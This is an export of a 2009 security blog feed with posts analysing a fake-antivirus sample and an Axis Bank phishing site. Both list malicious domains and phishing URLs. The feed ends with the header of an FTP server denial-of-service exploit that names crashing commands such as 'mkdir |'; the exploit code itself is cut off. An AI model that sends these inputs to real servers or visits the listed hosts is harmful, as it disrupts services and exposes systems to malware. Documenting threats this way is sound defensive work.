border="0" /&gt;&lt;/a&gt;I downloaded different binary files samples but all the files had same MD5 value. Surprising !!!&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqJpvcEREJI/AAAAAAAAAG0/jT0raQt6Y8M/s1600-h/md5_commandw.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 214px;" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqJpvcEREJI/AAAAAAAAAG0/jT0raQt6Y8M/s320/md5_commandw.JPG" alt="" id="BLOGGER_PHOTO_ID_5377977168742650002" border="0" /&gt;&lt;/a&gt;Tried to execute the sample on  VMware with MS Windows XP SP2 installed. It gives the following memory access error on VM.  &lt;span style="font-style: italic;"&gt;Is it detecting VM environment?!!&lt;/span&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SqExomVbwWI/AAAAAAAAAFc/NXRmoc-1BfQ/s1600-h/execution_error_onVM1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 129px;" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SqExomVbwWI/AAAAAAAAAFc/NXRmoc-1BfQ/s320/execution_error_onVM1.JPG" alt="" id="BLOGGER_PHOTO_ID_5377634003612057954" border="0" /&gt;&lt;/a&gt;&lt;span&gt;I executed the same sample on MS Windows Server 2003 Standard Edition with SP2&lt;/span&gt;&lt;span style="font-weight: bold;"&gt; &lt;/span&gt;&lt;span&gt;but not able to run the sample successfully.&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Don't try to access domains with URI&lt;br /&gt;&lt;span style="font-style: italic;"&gt;http://maliciousdomain.com/1/?sess=p2T4yjjxMi01JmlwPTY3Ljk3LjgwLjUmdGltZT0xMjU1MUAMPQZM&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;sess&lt;/span&gt; parameter is changing with every malicious domain. I was littile suspicious with the sess parameters value for base64 encoding, decoding it to ASCII gives&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;§døÊ8ñ2-5&amp;amp;ip=67.97.80.5&amp;amp;time=12551@=L&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Wow!! It contains an IP Address.&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;Malicious Domains: &lt;/span&gt;&lt;span style="font-style: italic;"&gt;hqvirusscanner.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                               antimalwarescanner8.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                               advancedpcscanner3.com&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;    best-antivirus8.com&lt;/span&gt;&lt;br /&gt; antivirus-fast-scan04.com&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                               (new domains might come up soon)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;File Name:&lt;/span&gt;                       &lt;span style="font-style: italic;"&gt;Antivirus_[a-z0-9]{3,7}.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;                                                 Antivirus-[a-f0-9]{3,7}_2031.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;File Size:&lt;/span&gt;                             163840 bytes&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;MD5:&lt;/span&gt;                                           22fb04afad00ccaeda1f5e5892493d77&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Malware Type:&lt;/span&gt;              Browser Hijackers&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Threat Level:&lt;/span&gt;             &lt;span style="font-style: italic;"&gt;High&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;ul style="font-style: italic; text-align: justify;"&gt;&lt;li&gt;File is Packed with unknown packer. &lt;/li&gt;&lt;li&gt;PEiD doesn't give any packer name. &lt;/li&gt;&lt;li&gt;OllyDBG throws exception while loading the file.&lt;/li&gt;&lt;li&gt;Imports few APIs from KERNEL32.DLL&lt;/li&gt;&lt;/ul&gt;Virustotal results can be found at&lt;br /&gt;&lt;a href="http://www.virustotal.com/analisis/6a761c86645ca3b8b808a80f330ffb315dc5c175089abf7f8ff9ea2ddbbc57b2-1252076765"&gt;http://www.virustotal.com/analisis/6a761c86645ca3b8b808a80f330ffb315dc5c175089abf7f8ff9ea2ddbbc57b2-1252076765&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;If I successfully run the malicious file then I will post a new blog. Be cautious while surfing the net and when you come across pop-ups!!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-7462619517154741130?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/7462619517154741130/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2009/09/personal-antivirus-antimalwarescanner8c.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/7462619517154741130'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/7462619517154741130'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2009/09/personal-antivirus-antimalwarescanner8c.html' title='Personal Antivirus: antimalwarescanner8.com/ best-antivirus8.com/ hqvirusscanner.com/ advancedpcscanner3.com'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_SQ_PsgPnt_w/SqJqlgp4SXI/AAAAAAAAAG8/M-n7h4wtJs4/s72-c/fake_warning_bestav1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-5457929426715127041</id><published>2009-08-09T00:48:00.004+05:30</published><updated>2009-08-09T01:16:50.488+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='IE'/><category scheme='http://www.blogger.com/atom/ns#' term='Browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='Script Execution'/><title type='text'>Hello MicroSoft...Is SCRIPT Execution Really Safe?!!</title><content type='html'>I was editing browser settings on IE7 to allow script/applet execution. After saving the configuration I accessed a site which has an applet. As expected browser gave an error message saying " &lt;span style="font-weight: bold;"&gt;Your security settings do not allow websites to use ActiveX controls installed on your computer. This page may not display correctly. Click here for options...&lt;/span&gt;"&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_SQ_PsgPnt_w/Sn3VhI5Sd5I/AAAAAAAAAFM/b8v6K6cEBEM/s1600-h/ms_script_bug.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 240px;" src="http://2.bp.blogspot.com/_SQ_PsgPnt_w/Sn3VhI5Sd5I/AAAAAAAAAFM/b8v6K6cEBEM/s320/ms_script_bug.JPG" alt="" id="BLOGGER_PHOTO_ID_5367681096195667858" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;But......observe pop-up window ............!!&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Scripts are usually safe&lt;/span&gt;.......Micro$$$$oft feels that SCRIPT execution is safe!!!&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_SQ_PsgPnt_w/Sn3QCSqtfCI/AAAAAAAAAE0/_16VSmrrO6U/s1600-h/ms_script_bug2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 320px; height: 129px;" src="http://2.bp.blogspot.com/_SQ_PsgPnt_w/Sn3QCSqtfCI/AAAAAAAAAE0/_16VSmrrO6U/s320/ms_script_bug2.JPG" alt="" id="BLOGGER_PHOTO_ID_5367675068684794914" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Version details of my browser, IE7, are&lt;br /&gt;         Version: 7.0.5730.13&lt;br /&gt;         Product ID: 92319-600-1753032-45410&lt;br /&gt;         Update Versions: 0&lt;br /&gt;&lt;br /&gt;For "Happy Browsing" use Firefox.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-5457929426715127041?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/5457929426715127041'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/5457929426715127041'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2009/08/ieis-script-execution-really-safe.html' title='Hello MicroSoft...Is SCRIPT Execution Really Safe?!!'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_SQ_PsgPnt_w/Sn3VhI5Sd5I/AAAAAAAAAFM/b8v6K6cEBEM/s72-c/ms_script_bug.JPG' height='72' width='72'/></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-4472888791454978108</id><published>2009-04-07T18:47:00.002+05:30</published><updated>2009-04-07T18:52:09.392+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='cmd.exe'/><category scheme='http://www.blogger.com/atom/ns#' term='Open Command Prompt'/><title type='text'>Shortcut "Open Command Prompt" here</title><content type='html'>Very Useful Shortcut "Open Command Prompt here"&lt;br /&gt;&lt;br /&gt;1. Open any Folder/directory (already existing on the machine) by couble clicking or press "Windows+E" keys simultaneously.&lt;br /&gt;2. Go to Tools-&gt;Folder Options. When you click Folder Options, new window will pop-up.&lt;br /&gt;3. Select File Types.&lt;br /&gt;4. Go to (NONE) Folder found under"Registered file types:".&lt;br /&gt;5. Select "(NONE) Folder"&lt;br /&gt;6. Now press "Advanced" tab.&lt;br /&gt;6. Press New tab.&lt;br /&gt;Action:&lt;br /&gt;Open Command Prompt here&lt;br /&gt;&lt;br /&gt;Application used to perform action:&lt;br /&gt;path_to_cmd.exe    (e.g. C:\WINDOWS\system32\cmd.exe)&lt;br /&gt;&lt;br /&gt;7. Press OK-&gt;OK-&gt;Close tabs.&lt;br /&gt;After the completion of seven steps above if you click any directory you can see "Open Command Prompt" in the menu which is marked with Red rectangla in the diagram.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SdtSwGqh0wI/AAAAAAAAADY/wAteqOCJ2Tk/s1600-h/open_cmdprompt_here.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 377px; height: 288px;" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SdtSwGqh0wI/AAAAAAAAADY/wAteqOCJ2Tk/s320/open_cmdprompt_here.JPG" alt="" id="BLOGGER_PHOTO_ID_5321938371044561666" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Now you can right click on any Folder/Directory on any Windows OS (I tested on Windows Server 2003 with SP2 and Windows XP with SP2) and open Command Prompt from that Directory path.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-4472888791454978108?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/4472888791454978108/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2009/04/shortcut-open-command-prompt-here.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/4472888791454978108'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/4472888791454978108'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2009/04/shortcut-open-command-prompt-here.html' title='Shortcut &quot;Open Command Prompt&quot; here'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_SQ_PsgPnt_w/SdtSwGqh0wI/AAAAAAAAADY/wAteqOCJ2Tk/s72-c/open_cmdprompt_here.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-2941814365245713415</id><published>2009-03-28T14:48:00.008+05:30</published><updated>2009-04-07T18:54:08.753+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='P2P'/><category scheme='http://www.blogger.com/atom/ns#' term='Zebra Protocol'/><title type='text'>ZEBRA Protocol and BitTorrent !</title><content type='html'>I was just checking my mails. Got bored, started Wireshark!!!&lt;br /&gt;&lt;br /&gt;To my surprise I saw packets with Zebra Protocol over TCP port 27756.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_SQ_PsgPnt_w/Sc3sH8FtZtI/AAAAAAAAADQ/LB0LsqERCks/s1600-h/zebra1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 477px; height: 333px;" src="http://4.bp.blogspot.com/_SQ_PsgPnt_w/Sc3sH8FtZtI/AAAAAAAAADQ/LB0LsqERCks/s320/zebra1.JPG" alt="" id="BLOGGER_PHOTO_ID_5318166356127737554" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;I didn't understand which application is using this protocol.  I googled for the same which said that Zebra is a routing protocol, I was not convinced with the result.&lt;br /&gt;&lt;br /&gt;I further analyzed the Packet Capture and used netstat, Task Manager etc. from which I came to know that BitTorrent is using Zebra Protocol. One more thing to add, BitTorrent also uses "BitTorrent" Protocol for communication over TCP.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/Sc3r003cY7I/AAAAAAAAADI/QFLEiM8Wsa8/s1600-h/zebra2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 531px; height: 330px;" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/Sc3r003cY7I/AAAAAAAAADI/QFLEiM8Wsa8/s320/zebra2.JPG" alt="" id="BLOGGER_PHOTO_ID_5318166027771339698" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Further analysis of the PCAP and googling gave information like Zebra is a streaming protocol for P2P communication.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-2941814365245713415?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/2941814365245713415/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2009/03/i-was-just-checking-my-mails.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/2941814365245713415'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/2941814365245713415'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2009/03/i-was-just-checking-my-mails.html' title='ZEBRA Protocol and BitTorrent !'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_SQ_PsgPnt_w/Sc3sH8FtZtI/AAAAAAAAADQ/LB0LsqERCks/s72-c/zebra1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-4500721135373589081</id><published>2009-02-11T20:29:00.007+05:30</published><updated>2012-02-07T22:01:33.259+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='phishing'/><category scheme='http://www.blogger.com/atom/ns#' term='spam'/><title type='text'>AXIS Bank Phishing2...Be Careful !</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;span style="font-size: 85%;"&gt;Don't be surprised if you get a mail from AXIS bank (infact not from AXIS bank but from malicious user) saying "&lt;span style="font-weight: bold;"&gt;MPORTANT NOTICE: Update Your Axis Bank Ltd® Net Banking Details&lt;/span&gt;" (this is the subject). Notice the missing "I" for word IMPORTANT in the subject. Most people might end up reading reading "MPORTANT" as "IMPORTANT".&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;The mail looks like&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;a href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SZLpfaDjggI/AAAAAAAAACo/Hs8fDJug1mE/s1600-h/mail.JPG"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5301556437147943426" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SZLpfaDjggI/AAAAAAAAACo/Hs8fDJug1mE/s320/mail.JPG" style="cursor: pointer; display: block; height: 284px; margin: 0px auto 10px; text-align: center; width: 491px;" /&gt;&lt;/a&gt;Clicking "&lt;span style="font-weight: bold;"&gt;Update Your NetBanking Account&lt;/span&gt;" will redirect us to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;http://axisaccountsummary.t35.com/axisbank.co.in/RetailSignOn.htm&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;which looks like&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;a href="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SZLpK8nToHI/AAAAAAAAACg/snPDF8ockRo/s1600-h/axis_phishing.JPG"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5301556085647450226" src="http://3.bp.blogspot.com/_SQ_PsgPnt_w/SZLpK8nToHI/AAAAAAAAACg/snPDF8ockRo/s320/axis_phishing.JPG" style="cursor: pointer; display: block; height: 265px; margin: 0px auto 10px; text-align: center; width: 502px;" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;Write anything in "Login ID" and "Password" text boxes and Click "Submit" tab without selecting the radio buttons, this will redirect us to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;http://axisaccountsummary.t35.com/axisbank.co.in/authenticate.php&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;The authenticate.php page looks like&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;a href="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SZLomO_wlnI/AAAAAAAAACY/RI9wnA8Eqws/s1600-h/axis_phishing_authentication.JPG"&gt;&lt;img alt="" border="0" id="BLOGGER_PHOTO_ID_5301555454926689906" src="http://1.bp.blogspot.com/_SQ_PsgPnt_w/SZLomO_wlnI/AAAAAAAAACY/RI9wnA8Eqws/s320/axis_phishing_authentication.JPG" style="cursor: pointer; display: block; height: 289px; margin: 0px auto 10px; text-align: center; width: 509px;" /&gt;&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;On this page we find "Download","Click Here" hyperlinks, on clicking them will redirect to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;https://www.axisbank.co.in/BankAway/(b5zbwu55bnaszw55d2iyuz55)/web/L001/retail/jsp/user/%5Cdownload%5Ciconnectform.pdf&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;https://www.axisbank.co.in/BankAway/(b5zbwu55bnaszw55d2iyuz55)/web/L001/retail/jsp/user/%5Cdownload%5Cicoftfform.pdf&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;respectively. Above URL's which point to the real website are using HTTPS request to get the resource and we can see the Phishing filter(Lock symbol) on down left but we get "The page cannot be found" error while downloading the PDF's.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;Enter any arbitrary data into "ATM Card No.", "ATM Pin No.","Transaction Password" and click "Continue" tab which will redirect to&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;http://christkingdomorphanage.org/idbi2/accountsummary.php&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;I browsed to the Contact Us page (http://www.christkingdomorphanage.org/contactus.php) where the address is mentioned as&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;b&gt;&lt;span antiqua="" style="font-family: Arial, Book;"&gt;&lt;b&gt;CHRIST KINGDOM ORPHANAGE HOME&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;b&gt;&lt;span antiqua="" style="font-family: Arial, Book;"&gt;&lt;b&gt;UMUEZEALAKPA ALAENYI&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;b&gt;&lt;span antiqua="" style="font-family: Arial, Book;"&gt;&lt;b&gt;OGWA, MBAITOLI LGA,&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;b&gt;&lt;span antiqua="" style="font-family: Arial, Book;"&gt;&lt;b&gt;IMO STATE, NIGERIA&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;b&gt;&lt;span antiqua="" style="font-family: Arial, Book;"&gt;&lt;b&gt;p: (+234) 8033738658&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;b&gt;&lt;span antiqua="" style="font-family: Arial, Book;"&gt;&lt;b&gt;e: &lt;a href="http://www.christkingdomorphanage.org/info@christkingdomorphanage.org"&gt;http://www.christkingdomorphanage.org/info@christkingdomorphanage.org&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;b&gt;&lt;span antiqua="" style="font-family: Arial, Book;"&gt;&lt;b&gt;w: &lt;a href="http://www.christkingdomorphanage.org/"&gt;http://www.christkingdomorphanage.org/&lt;/a&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span antiqua="" style="font-family: Arial, Book; font-size: 85%;"&gt;Well, this might be the phishing mail originating from Nigeria, most probably.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;&lt;b&gt;&lt;span antiqua="" style="font-family: Arial, Book;"&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size: 85%;"&gt;Safe Surfing...Enjoy!!!&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1852980805947568568-4500721135373589081?l=darshanams.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://darshanams.blogspot.com/feeds/4500721135373589081/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://darshanams.blogspot.com/2009/02/axis-bank-phishing2be-careful.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/4500721135373589081'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1852980805947568568/posts/default/4500721135373589081'/><link rel='alternate' type='text/html' href='http://darshanams.blogspot.com/2009/02/axis-bank-phishing2be-careful.html' title='AXIS Bank Phishing2...Be Careful !'/><author><name>Praveen Darshanam</name><uri>http://www.blogger.com/profile/17038388927215157898</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='18' src='http://2.bp.blogspot.com/-9AAxkiUfl_c/TnzsIH-_daI/AAAAAAAAAUU/ktD70B391EU/s220/pra.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_SQ_PsgPnt_w/SZLpfaDjggI/AAAAAAAAACo/Hs8fDJug1mE/s72-c/mail.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1852980805947568568.post-4816656430467855500</id><published>2009-02-03T21:45:00.004+05:30</published><updated>2009-02-11T20:52:13.376+05:30</updated><category scheme='http://www.blogger.com/atom/ns#' term='Server'/><category scheme='http://www.blogger.com/atom/ns#' term='FTP'/><category scheme='http://www.blogger.com/atom/ns#' term='DoS'/><title type='text'>Teamtek Universal FTP Server 1.0.50 DoS (daemon crash/ hang)</title><content type='html'>&lt;span style="font-size:85%;"&gt;This is a working exploit for an old Vulnerability which was updated recently.&lt;br /&gt;&lt;/span&gt;&lt;div class="Ih2E3d"&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;##############################&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;##############################&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;&lt;br /&gt;#&lt;br /&gt;# Teamtek Universal FTP Server 1.0.50 allows remote attackers to cause a denial of service (daemon crash or hang) via (1)&lt;br /&gt;# multiple STOR (aka PUT) commands, or an MKD command followed by (2) a '*' argument, (3) a '|' argument,&lt;br /&gt;# (4) spaces, or (5) a long string. NOTE: the provenance of this information is unknown; the details are obtained solely&lt;br /&gt;# from third party information.&lt;br /&gt;#&lt;br /&gt;# References:&lt;br /&gt;#    &lt;a href="http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-7235" target="_blank"&gt;http://web.nvd.nist.gov/view/&lt;wbr&gt;vuln/detail?vulnId=CVE-2006-&lt;wbr&gt;7235&lt;/a&gt;&lt;br /&gt;#    &lt;a href="http://www.securityfocus.com/bid/21085" target="_blank"&gt;http://www.securityfocus.com/&lt;wbr&gt;bid/21085&lt;/a&gt;&lt;br /&gt;#&lt;br /&gt;# Tested on Windows XP SP1 with&lt;br /&gt;# Universal FTP Server 1.0.44&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt; # Banner: UNIVERSAL FTP SERVER - by Daniele Pratelli - &lt;a href="http://www.teamtek.net/" target="_blank"&gt;www.teamtek.net&lt;/a&gt; - &lt;a href="http://www.5e5.net/" target="_blank"&gt;www.5e5.net&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="Ih2E3d"&gt;&lt;span style="font-size:85%;"&gt; # With "mkdir |" command application crashes with "Run-time error '52:' Bad file name or number"&lt;br /&gt;# With "mkdir *" command application crashes with "Run-time error '76:' Path not found"&lt;br /&gt;#&lt;br /&gt;# To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;#     (say #!C:/Perl/bin/perl -w)&lt;br /&gt;&lt;/span&gt;&lt;div class="Ih2E3d"&gt;&lt;span style="font-size:85%;"&gt;# This was strictly written for educational purpose. Use it at your own risk.&lt;br /&gt;# Author will not bare any responsibility for any damages watsoever.&lt;br /&gt;# Author: Praveen Darhanam&lt;br /&gt;#  Email: praveen[underscore]recker[at]&lt;a href="http://sify.com/" target="_blank"&gt;s&lt;wbr&gt;ify.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="Ih2E3d"&gt;&lt;span style="font-size:85%;"&gt; #  Blog: &lt;a href="http://darshanams.blogspot.com/" target="_blank"&gt;http://darshanams.blogspot.com&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size:85%;"&gt;#  Date: 20th December, 2008&lt;br /&gt;&lt;/span&gt;&lt;div&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;##############################&lt;/span&gt;&lt;wbr&gt;&lt;span style="font-size:85%;"&gt;############################&lt;br /&gt;use 